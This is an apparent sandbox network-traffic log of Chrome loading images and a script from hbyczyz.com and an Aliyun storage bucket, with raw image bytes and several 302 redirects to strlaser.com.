2024-09-27 03:50:57 UTC	544	IN	HTTP/1.1 200 OK Server: AliyunOSS Date: Fri, 27 Sep 2024 03:50:57 GMT Content-Type: image/jpeg Content-Length: 4920 Connection: close x-oss-request-id: 66F62BA1B6896C3039329D17 Accept-Ranges: bytes ETag: "22BEE551222772824AB963798409AE4D" Last-Modified: Mon, 29 Jan 2024 03:33:48 GMT x-oss-object-type: Normal x-oss-hash-crc64ecma: 2012536368906853367 x-oss-storage-class: Standard x-oss-ec: 0048-00000101 Content-Disposition: attachment x-oss-force-download: true Content-MD5: Ir7lUSIncoJKuWN5hAmuTQ== x-oss-server-time: 2
2024-09-27 03:50:57 UTC	4920	IN	Data Raw: ff d8 ff e1 00 18 45 78 69 66 00 00 49 49 2a 00 08 00 00 00 00 00 00 00 00 00 00 00 ff ec 00 11 44 75 63 6b 79 00 01 00 04 00 00 00 50 00 00 ff e1 03 2f 68 74 74 70 3a 2f 2f 6e 73 2e 61 64 6f 62 65 2e 63 6f 6d 2f 78 61 70 2f 31 2e 30 2f 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 36 2d 63 31 33 38 20 37 39 2e 31 35 39 38 32 34 2c 20 32 30 31 36 2f 30 39 2f 31 34 2d 30 31 3a 30 39 3a 30 31 20 20 20 20 20 20 20 20 22 3e 20 3c 72 64 66 3a 52 44 46 20 78 6d Data Ascii: ExifII*DuckyP/http://ns.adobe.com/xap/1.0/<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c138 79.159824, 2016/09/14-01:09:01 "> <rdf:RDF xm

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.5	49803	47.108.5.198	443	1288	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 03:50:57 UTC	659	OUT	GET /sichuang/images/2023/03/29/image_1680077855_S16l5i6f.jpg HTTP/1.1 Host: website-ishutime.oss-cn-chengdu.aliyuncs.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.hbyczyz.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-27 03:50:57 UTC	546	IN	HTTP/1.1 200 OK Server: AliyunOSS Date: Fri, 27 Sep 2024 03:50:57 GMT Content-Type: image/jpeg Content-Length: 72173 Connection: close x-oss-request-id: 66F62BA1F299AF31378607A9 Accept-Ranges: bytes ETag: "7FF84AFFA1F8B6130DF415B5173B4BC6" Last-Modified: Mon, 29 Jan 2024 03:34:08 GMT x-oss-object-type: Normal x-oss-hash-crc64ecma: 11199755880032966095 x-oss-storage-class: Standard x-oss-ec: 0048-00000101 Content-Disposition: attachment x-oss-force-download: true Content-MD5: f/hK/6H4thMN9BW1FztLxg== x-oss-server-time: 2
2024-09-27 03:50:57 UTC	15838	IN	Data Raw: ff d8 ff e1 00 18 45 78 69 66 00 00 49 49 2a 00 08 00 00 00 00 00 00 00 00 00 00 00 ff ec 00 11 44 75 63 6b 79 00 01 00 04 00 00 00 50 00 00 ff e1 03 2e 68 74 74 70 3a 2f 2f 6e 73 2e 61 64 6f 62 65 2e 63 6f 6d 2f 78 61 70 2f 31 2e 30 2f 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 36 2d 63 31 33 38 20 37 39 2e 31 35 39 38 32 34 2c 20 32 30 31 36 2f 30 39 2f 31 34 2d 30 31 3a 30 39 3a 30 31 20 20 20 20 20 20 20 20 22 3e 20 3c 72 64 66 3a 52 44 46 20 78 6d Data Ascii: ExifII*DuckyP.http://ns.adobe.com/xap/1.0/<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c138 79.159824, 2016/09/14-01:09:01 "> <rdf:RDF xm
2024-09-27 03:50:57 UTC	16384	IN	Data Raw: 04 08 72 e5 1e af bb 40 38 a5 b6 f1 e6 70 d2 92 73 7f 6d 4a ea 8f bb 66 1e 16 24 4c db 47 07 db 5b 2c f2 84 1c 83 b6 e1 bb 82 68 db cc e6 52 b9 83 39 b3 13 2c 6e a5 e6 1b c0 93 2f 81 1b 93 34 5f cb be d6 56 66 4d b0 aa 10 fc d8 5b 63 98 fc 5a d4 b0 4c eb b3 ad 4d a7 05 cf 8b 78 d5 16 7b a0 c3 ca d2 5a d6 2e 15 51 4a c3 97 27 ac a5 bf a4 2c f2 b2 87 ab b8 70 5c a9 cb 0e cf 31 7d ac c3 db 60 2a 73 7d 26 d3 36 37 ed 3d 80 6f 6f a2 17 9e 0e f9 aa 6f e2 c2 fd db 9f 6d 62 c4 55 77 7f 32 09 26 57 89 2f 1a 77 89 9c 48 cd a7 c4 7b 1a cc 7c 78 67 75 47 f1 b7 2b ed 6c 8a 25 a0 00 af 5d 5a 0f f2 42 73 0c 07 11 e6 84 44 84 79 84 62 34 29 0a 52 39 ea 56 1f 68 5c 7d bb 36 f1 e3 65 a9 10 1c 7a 02 15 3b ea ff 00 2f 92 3c ce 4f a9 4f fa 1b 94 a7 44 69 d1 0c d3 9c 8c 32 f3 Data Ascii: r@8psmJf$LG[,hR9,n/4_VfM[cZLMx{Z.QJ',p\1}`*s}&67=ooombUw2&W/wH{\|xguG+l%]ZBsDyb4)R9Vh\}6ez;/<OODi2
2024-09-27 03:50:57 UTC	16384	IN	Data Raw: 9f e5 4d 46 d4 94 cb 7a 6d c4 d9 b3 a9 d3 e0 e4 cb 1b b3 20 9c fd 23 d2 97 ec 1b 83 e3 85 a8 77 28 fc 66 67 1c f4 23 63 1c e8 4e 53 a4 37 74 34 cd f8 88 20 41 cb 73 91 cc 8e ad 96 3a ae 18 b3 0c c2 68 14 11 c9 9e 20 62 21 35 92 47 37 75 c2 d2 12 be 2b 86 ea 2c 74 1b 11 d3 92 ca b7 86 c2 86 2c 11 e6 3b b4 d4 e7 b6 a8 ba d9 85 37 38 70 e1 e0 56 31 8d 7a 0a 59 87 97 d1 74 b9 5d 78 7a a3 62 f2 14 bc 2a 6e 15 60 d6 bb 7f 34 b3 2e 01 8f 41 4d 7d 41 f2 84 2b 93 8d 23 30 a6 d3 34 d6 e5 6a 60 54 65 2d c0 bc c0 e3 09 8b 02 b5 11 4d 9f bf ea 6b d7 b7 aa d0 ac f8 65 3a f6 bb 0a b7 41 08 2b 48 f8 83 75 6e 10 ba 1c b9 f8 bd ae 5d 97 ad 78 35 dc ea a6 97 bf 38 99 bb 36 83 74 ad e1 46 a8 8d 0b 22 e0 b8 a3 ab 4b 32 c0 cc 9d a8 a5 8c 81 ab 0d cf 0a b7 35 19 15 d4 c6 8a 4c Data Ascii: MFzm #w(fg#cNS7t4 As:h b!5G7u+,t,;78pV1zYt]xzb*n`4.AM}A+#04j`Te-Mke:A+Hun]x586tF"K25L
2024-09-27 03:50:57 UTC	16384	IN	Data Raw: f4 cb a5 ec 26 b0 3c 92 bf 93 14 bb 8f 38 38 21 b3 af 8e cd b6 30 4a 8e ce b4 0b b9 3e 3c ec 7f a2 56 59 0f 88 28 6c 7f 99 e9 ac 1e db 52 37 77 03 a1 5a 3e 6e 1a e2 ef e9 5a d6 42 f1 cb 7d 68 73 e9 7e b0 f2 56 d9 c1 75 57 5a 84 c0 46 66 f9 8b 86 3f 48 fa 54 76 33 f5 58 f2 e2 b5 2a b5 35 c1 ef 5b 33 7d 8d 45 55 32 68 d6 84 9d a7 e6 54 e0 dc 6b b0 74 f4 2d ae c5 bd c8 c8 66 44 6e ab 9d 6c d6 60 19 c4 e2 42 e9 bc aa a8 9f 33 1f 94 1b c9 9e 3f 93 6e b5 c3 64 37 7c 79 6c c9 b7 fd 1e dc 2c 89 3d cc 82 66 cc cd 88 18 c8 80 fa e9 a8 f9 35 4e ab e2 55 0e d3 f6 97 06 b8 5e 28 5e 4e b9 66 72 3d 98 5c 89 68 74 f2 6b a9 13 5d 33 a7 9c bc 0c d8 d7 81 3e f2 7b 71 8e 72 16 b9 b1 88 9e 08 e7 dc 1a 2d ba bf 3e 73 2f f0 72 79 2e 7f 59 9e 14 e7 25 2f 86 b5 80 a3 65 d7 d6 fa Data Ascii: &<88!0J><VY(lR7wZ>nZB}hs~VuWZFf?HTv3X*5[3}EU2hTkt-fDnl`B3?nd7\|yl,=f5NU^(^Nfr=\htk]3>{qr->s/ry.Y%/e
2024-09-27 03:50:57 UTC	7183	IN	Data Raw: 4c 13 10 2a 4c 23 08 65 90 7f 76 ce ee 30 ea b7 75 91 3d 94 61 58 3f 58 46 fc d3 9b 9c a0 69 66 fd b0 74 bb 93 c6 c1 c1 2c 6e 4f 73 02 31 9c 4c 94 9f da 66 e3 e6 7a 42 65 6e b8 e3 f8 77 77 2a ce 4b f4 66 ab 7a 71 d4 30 14 2b 20 69 4a a2 ad fa 8d c1 a7 27 9f 27 79 f1 a4 3c bc ae 8e 7e 65 2d 2e 25 b7 9d 2b 78 dd 2b de 08 64 23 ac 9c de d8 74 dd fe ec 2c bd db 35 f3 67 49 81 64 9c 1b d1 de 63 66 08 7b b3 c4 ec eb 54 24 d5 76 fc 98 e8 5f 11 4e ec 2f 12 7c a3 4b 73 92 44 25 2e d9 e7 41 5f c4 16 1d 5f 1b 31 b7 98 ca 27 c5 59 a6 fb 97 c5 96 f0 7b 9b c9 1b 55 a5 f8 54 da 67 2d 0a 73 9f cb c1 bd 33 3e a8 25 24 7c ce 55 e5 86 33 51 b9 62 e8 cc e5 e4 98 40 6d cb bd ca 74 50 eb c0 6f b3 ea df 7c 2c d5 d9 e5 93 55 e7 55 63 89 85 c3 bd b5 0c 1b 1b c5 31 73 e6 15 56 69 Data Ascii: LL#ev0u=aX?XFift,nOs1LfzBenwwKfzq0+ iJ''y<~e-.%+x+d#t,5gIdcf{T$v_N/\|KsD%.A__1'Y{UTg-s3>%$\|U3Qb@mtPo\|,UUc1sVi

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.5	49802	47.108.5.198	443	1288	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 03:50:57 UTC	659	OUT	GET /sichuang/images/2023/03/29/image_1680077839_kq8Vu7xF.jpg HTTP/1.1 Host: website-ishutime.oss-cn-chengdu.aliyuncs.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.hbyczyz.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-27 03:50:57 UTC	546	IN	HTTP/1.1 200 OK Server: AliyunOSS Date: Fri, 27 Sep 2024 03:50:57 GMT Content-Type: image/jpeg Content-Length: 53833 Connection: close x-oss-request-id: 66F62BA17F9C793233D4181E Accept-Ranges: bytes ETag: "09BC360A0EB088873CB0B32DE9FC7BCB" Last-Modified: Mon, 29 Jan 2024 03:34:08 GMT x-oss-object-type: Normal x-oss-hash-crc64ecma: 17632089441136503933 x-oss-storage-class: Standard x-oss-ec: 0048-00000101 Content-Disposition: attachment x-oss-force-download: true Content-MD5: Cbw2Cg6wiIc8sLMt6fx7yw== x-oss-server-time: 2
2024-09-27 03:50:57 UTC	15838	IN	Data Raw: ff d8 ff e1 00 18 45 78 69 66 00 00 49 49 2a 00 08 00 00 00 00 00 00 00 00 00 00 00 ff ec 00 11 44 75 63 6b 79 00 01 00 04 00 00 00 50 00 00 ff e1 03 2e 68 74 74 70 3a 2f 2f 6e 73 2e 61 64 6f 62 65 2e 63 6f 6d 2f 78 61 70 2f 31 2e 30 2f 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 36 2d 63 31 33 38 20 37 39 2e 31 35 39 38 32 34 2c 20 32 30 31 36 2f 30 39 2f 31 34 2d 30 31 3a 30 39 3a 30 31 20 20 20 20 20 20 20 20 22 3e 20 3c 72 64 66 3a 52 44 46 20 78 6d Data Ascii: ExifII*DuckyP.http://ns.adobe.com/xap/1.0/<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c138 79.159824, 2016/09/14-01:09:01 "> <rdf:RDF xm
2024-09-27 03:50:57 UTC	16384	IN	Data Raw: 28 af 99 2e 13 33 c6 79 c0 e7 67 fc 59 05 be 98 59 35 f3 48 4e 85 db 08 5b 01 dc c5 b5 18 2d 5c a4 ed a3 f3 db 3c ca 3e b5 d5 df 01 60 f5 07 58 89 d0 f9 a0 c9 9e 74 62 6e 9b 7f 31 e1 1f 90 85 f7 78 37 f2 95 dd 53 16 de 57 b5 96 c3 65 f3 58 34 e8 08 5e 0e f0 7b ee fb 1c 45 7b 4a 4f 2e 68 3c c1 c2 18 1b 67 1e 70 4f 59 6a db 99 3b fd f2 f7 51 ca 15 1d 7e 81 4e 85 47 5f a0 42 1c ab d3 7b 6b bd 27 27 3d 98 ee d5 ab e3 42 9d 03 1c 6d 1d f7 eb 52 2d d2 39 ce cd e7 79 37 74 2c 9b d4 cf 75 0a 14 0c 71 b0 77 df a5 b9 82 f3 c3 a2 d9 93 7c f1 3e 51 73 06 41 cd f5 52 eb 67 67 8c a9 35 35 9f fc a1 2e 22 88 d3 0f 1a 18 49 38 d7 2d 19 6a 18 9a f1 e2 5d 94 ab 30 de 38 f4 51 d3 52 ee 1d 16 9e 32 ca d1 71 34 89 72 a1 18 3e 33 c1 b9 98 eb ef 98 16 ec 19 ac 6b e7 c6 14 a3 31 Data Ascii: (.3ygYY5HN[-\<>`Xtbn1x7SWeX4^{E{JO.h<gpOYj;Q~NG_B{k''=BmR-9y7t,uqw\|>QsARgg55."I8-j]08QR2q4r>3k1
2024-09-27 03:50:57 UTC	16384	IN	Data Raw: dd 86 2e ce ae 9f 06 63 68 c7 9d f5 c2 69 ce ac 2f 28 c4 3f 56 68 e0 a5 95 55 26 a0 6b 30 37 1e 75 28 b8 42 59 d9 ff 00 75 cc 01 ff 00 55 3f 7d 16 61 f4 7f c4 6c f5 e0 31 dd 11 24 cb 6f a4 3e 1e 13 95 75 8e f7 a8 03 1a 79 43 ab 22 3a 38 6b f4 6c a9 90 b3 9e 0d c0 c4 7c 41 43 f5 62 da cb d1 6c 5b 3a 6e 31 c8 8e ac e6 db b1 2d b3 96 a8 c5 62 36 cb 8f 4f 15 8c 2c e1 3b 64 98 7a ce ab d8 fb 29 44 f4 d5 aa cb 88 01 4f 34 eb f9 e9 a6 b4 7d 20 c2 5d a7 de 8b 76 36 0c 6e 95 76 ba 39 42 9b 27 31 a1 65 77 73 be 3d cd 20 d9 8b 57 cf 39 b5 78 46 af 41 a9 6d 21 1c 82 f4 70 53 c6 64 7c 34 4c 23 c3 17 72 c5 1c 9e 8e 18 81 b0 5e 76 56 b6 c3 f6 4a 95 d3 ca da 3e e3 1d b8 ed ab 05 3a 19 1c 83 0f 13 5e e4 ff 00 47 59 11 a8 26 93 ff 00 bb e6 8f 95 79 d0 73 de 0c 41 1a 20 96 Data Ascii: .chi/(?VhU&k07u(BYuU?}al1$o>uyC":8kl\|ACbl[:n1-b6O,;dz)DO4} ]v6nv9B'1ews= W9xFAm!pSd\|4L#r^vVJ>:^GY&ysA
2024-09-27 03:50:57 UTC	5227	IN	Data Raw: c7 99 7f ab e7 36 6a 9e ae 31 95 d4 1e 7b eb 6c f5 0e 4a 9a 6e 6c a6 3b da 61 e9 c4 26 2e b0 32 2f a9 0a ce 0f fe f7 41 e0 8c 7d df b3 af 25 7f 33 c4 05 c4 fd a9 55 42 b6 23 ff 00 d4 e9 9f 0a 33 41 fd e9 9f 70 dd 0d bb ca 5a 9e 4c 75 69 f1 bb d7 ed 6d aa 38 a8 79 28 6a 0d 51 40 45 05 68 a2 b5 d4 2d 1c 0c 10 ca 79 f1 04 99 70 c2 0f d4 83 e8 a8 20 e3 fd 67 f2 67 eb 97 af f2 5b ca 5f ea 37 5b 86 e2 b4 60 f9 21 f2 75 26 b0 61 49 36 22 ad 44 e2 62 90 69 61 13 5c 88 08 1c 13 ce 9a 55 af 9d 34 f3 e9 a3 33 ec 2d f3 6f 9a f4 6d 0f f5 ca 43 eb 97 9b f9 ff 00 dc 8f a8 dd 6e 1b 8a 50 13 f2 55 d4 39 73 01 98 7a 2c ad 73 56 2e 06 eb a1 f9 f1 04 9f 36 1c be f4 aa 08 26 3c 35 6e a4 fe bc 7a bc ef 0b ca 19 11 d7 1f 50 9e 04 2c 80 f2 71 43 00 b8 20 d5 a2 6a d0 85 ff 00 f1 Data Ascii: 6j1{lJnl;a&.2/A}%3UB#3ApZLuim8y(jQ@Eh-yp gg[_7[`!u&aI6"Dbia\U43-omCnPU9sz,sV.6&<5nzP,qC j

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.5	49808	50.2.64.137	443	1288	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 03:50:57 UTC	755	OUT	GET /resources/assets/images/about6.jpg HTTP/1.1 Host: www.hbyczyz.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.hbyczyz.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __tins__21261259=%7B%22sid%22%3A%201727409055278%2C%20%22vd%22%3A%201%2C%20%22expires%22%3A%201727410855278%7D; __51cke__=; __51laig__=1
2024-09-27 03:50:57 UTC	255	IN	HTTP/1.1 302 Moved Temporarily Server: nginx Date: Fri, 27 Sep 2024 03:50:32 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/5.4.41 Location: https://www.strlaser.com/resources/assets/images/about6.jpg
2024-09-27 03:50:57 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.5	49805	50.2.64.137	443	1288	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 03:50:57 UTC	755	OUT	GET /resources/assets/images/about2.jpg HTTP/1.1 Host: www.hbyczyz.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.hbyczyz.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __tins__21261259=%7B%22sid%22%3A%201727409055278%2C%20%22vd%22%3A%201%2C%20%22expires%22%3A%201727410855278%7D; __51cke__=; __51laig__=1
2024-09-27 03:50:57 UTC	255	IN	HTTP/1.1 302 Moved Temporarily Server: nginx Date: Fri, 27 Sep 2024 03:50:32 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/5.4.41 Location: https://www.strlaser.com/resources/assets/images/about2.jpg
2024-09-27 03:50:57 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.5	49810	50.2.64.137	443	1288	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 03:50:57 UTC	754	OUT	GET /resources/assets/images/news2.jpg HTTP/1.1 Host: www.hbyczyz.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.hbyczyz.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __tins__21261259=%7B%22sid%22%3A%201727409055278%2C%20%22vd%22%3A%201%2C%20%22expires%22%3A%201727410855278%7D; __51cke__=; __51laig__=1
2024-09-27 03:50:57 UTC	254	IN	HTTP/1.1 302 Moved Temporarily Server: nginx Date: Fri, 27 Sep 2024 03:50:32 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/5.4.41 Location: https://www.strlaser.com/resources/assets/images/news2.jpg
2024-09-27 03:50:57 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.5	49811	50.2.64.137	443	1288	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 03:50:57 UTC	755	OUT	GET /resources/assets/images/about4.jpg HTTP/1.1 Host: www.hbyczyz.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.hbyczyz.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __tins__21261259=%7B%22sid%22%3A%201727409055278%2C%20%22vd%22%3A%201%2C%20%22expires%22%3A%201727410855278%7D; __51cke__=; __51laig__=1
2024-09-27 03:50:57 UTC	255	IN	HTTP/1.1 302 Moved Temporarily Server: nginx Date: Fri, 27 Sep 2024 03:50:32 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/5.4.41 Location: https://www.strlaser.com/resources/assets/images/about4.jpg
2024-09-27 03:50:57 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.5	49812	50.2.64.137	443	1288	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 03:50:57 UTC	754	OUT	GET /resources/assets/images/news1.jpg HTTP/1.1 Host: www.hbyczyz.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.hbyczyz.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __tins__21261259=%7B%22sid%22%3A%201727409055278%2C%20%22vd%22%3A%201%2C%20%22expires%22%3A%201727410855278%7D; __51cke__=; __51laig__=1
2024-09-27 03:50:57 UTC	254	IN	HTTP/1.1 302 Moved Temporarily Server: nginx Date: Fri, 27 Sep 2024 03:50:32 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/5.4.41 Location: https://www.strlaser.com/resources/assets/images/news1.jpg
2024-09-27 03:50:57 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.5	49815	50.2.64.137	443	1288	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 03:50:57 UTC	755	OUT	GET /resources/assets/images/about3.jpg HTTP/1.1 Host: www.hbyczyz.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.hbyczyz.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __tins__21261259=%7B%22sid%22%3A%201727409055278%2C%20%22vd%22%3A%201%2C%20%22expires%22%3A%201727410855278%7D; __51cke__=; __51laig__=1
2024-09-27 03:50:57 UTC	255	IN	HTTP/1.1 302 Moved Temporarily Server: nginx Date: Fri, 27 Sep 2024 03:50:32 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/5.4.41 Location: https://www.strlaser.com/resources/assets/images/about3.jpg
2024-09-27 03:50:57 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.5	49819	50.2.64.137	443	1288	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 03:50:57 UTC	528	OUT	GET /resources/assets/lib/js/gsap.min.js?v=0.574 HTTP/1.1 Host: www.hbyczyz.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __tins__21261259=%7B%22sid%22%3A%201727409055278%2C%20%22vd%22%3A%201%2C%20%22expires%22%3A%201727410855278%7D; __51cke__=; __51laig__=1
2024-09-27 03:50:58 UTC	206	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 27 Sep 2024 03:50:32 GMT Content-Type: text/html;charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding X-Powered-By: PHP/5.4.41
